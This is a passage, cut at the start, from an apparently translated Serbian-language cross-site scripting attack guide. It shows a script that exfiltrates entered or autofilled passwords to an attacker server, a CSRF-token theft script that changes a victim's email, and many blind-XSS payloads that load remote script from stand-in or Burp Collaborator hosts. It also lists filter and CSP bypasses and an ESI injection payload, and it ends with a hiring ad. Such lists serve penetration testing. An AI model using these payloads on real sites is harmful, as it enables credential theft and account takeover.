if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
Kada se unese bilo koji podatak u polje za lozinku, korisničko ime i lozinka se šalju na server napadača, čak i ako klijent izabere sačuvanu lozinku i ne unese ništa, podaci će biti ekstrahovani.
Keylogger
Samo pretražujući na github-u pronašao sam nekoliko različitih:
Takođe možete koristiti metasploit http_javascript_keylogger
Krađa CSRF tokena
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Pristup skrivenom sadržaju
Iz ovog objašnjenja je moguće naučiti da čak i ako neke vrednosti nestanu iz JS-a, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos REGEX-a je i dalje moguće pronaći nakon što je vrednost unosa REGEX-a uklonjena:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Imate XSS na sajtu koji koristi keširanje? Pokušajte unaprediti to u SSRF kroz ubacivanje Edge Side Include Injection sa ovim payload-om:
<esi:include src="http://yoursite.com/capture" />
Koristite ga da biste zaobišli ograničenja kolačića, XSS filtere i mnogo više!
Više informacija o ovoj tehnici možete pronaći ovde: XSLT.
XSS u dinamički kreiranom PDF-u
Ako veb stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da prevarite bota koji kreira PDF da izvrši proizvoljan JS kod.
Dakle, ako PDF kreator bot pronađe neke vrste HTMLtagova, on će ih interpretirati, i možete zloupotrebiti ovu ponašanje da biste izazvali Server XSS.
AMP, sa ciljem ubrzanja performansi veb stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi se osigurala funkcionalnost sa naglaskom na brzinu i bezbednost. Podržava niz komponenti za različite funkcije, dostupnih putem AMP komponenti.
Format AMP za Email proširuje određene AMP komponente na e-poštu, omogućavajući primaocima da direktno interaguju sa sadržajem unutar svojih e-poruka.
Ako ste zainteresovani za hakersku karijeru i hakovanje neuhvatljivog - zapošljavamo! (potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno).